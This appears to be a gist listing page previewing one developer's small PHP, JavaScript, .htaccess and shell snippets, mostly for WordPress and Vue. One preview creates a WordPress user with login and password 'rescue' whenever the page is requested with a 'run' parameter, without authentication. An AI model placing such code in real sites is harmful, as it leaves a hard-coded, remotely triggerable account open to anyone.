This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Gist: PHP Token Generator v2 | |
Author: Gkiokan Sali | |
Date: 2019-05-24 | |
Description: Generate a unique token with a special format. | |
*/ | |
namespace App\Utils; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Autoload all current vue files as component and register them by their name. | |
--- | |
Author: Gkiokan Sali | |
Date: 2019-05-09 | |
*/ | |
import Vue from 'vue' | |
const requireContext = require.context('./', false, /.*\.vue$/) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
File: WP Custom Columns Extension | |
Author: Gkiokan Sali | |
Date: 25.07.2018 | |
*/ | |
class CustomColumn { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Disable WP REST API JSON endpoints if user not logged in | |
*/ | |
function chuck_disable_rest_endpoints( $access ) { | |
if( ! is_user_logged_in() ) { | |
return new WP_Error( 'rest_cannot_access', __( 'Only authenticated users can access the REST API.', 'disable-json-api' ), array( 'status' => rest_authorization_required_code() ) ); | |
} | |
return $access; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if(isset($_GET['run'])): | |
include_once './wp-blog-header.php'; | |
$user = get_user_by('login', 'greyd'); | |
if(!$user) | |
wp_insert_user([ | |
'user_login' => 'rescue', | |
'user_url' => 'rescue', | |
'user_pass' => 'rescue', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let blob = new Blob([this.stream], { type: 'application/csv' } ) | |
let link = document.createElement('a') | |
link.href = window.URL.createObjectURL(blob) | |
link.download = this.get_download_name() | |
link.click() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Data Class | |
* * * * * * * | |
Author: Gkiokan | |
Comment: | |
Encode and Decode Your String / Object / Array with utf-8 force. | |
*/ | |
class Data { | |
// Encode |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
VC Additions file for Extensions | |
*/ | |
namespace G\VC; | |
new Fonts; | |
class Fonts { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RewriteEngine On | |
RewriteBase / | |
RewriteCond %{HTTP_HOST} ^domain\.com$ | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteCond %{REQUEST_FILENAME} !-d | |
RewriteCond %{REQUEST_URI} !^/wp-admin | |
RewriteCond %{REQUEST_URI} !^/wp-json | |
RewriteRule ^(.*)$ http://www.domain.com/$1 [R=301,L] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo " > Loading Aliases " | |
# Basics | |
alias ..="cd .." | |
alias lsa="ls -al" | |
alias swatch="sass --watch " | |
alias sfull="sass --watch sass:css --style=compressed" | |
alias sf="sfull" | |
alias m="~/.dotfiles/mount.sh" | |
alias s="source ~/.dotfiles/server.sh" |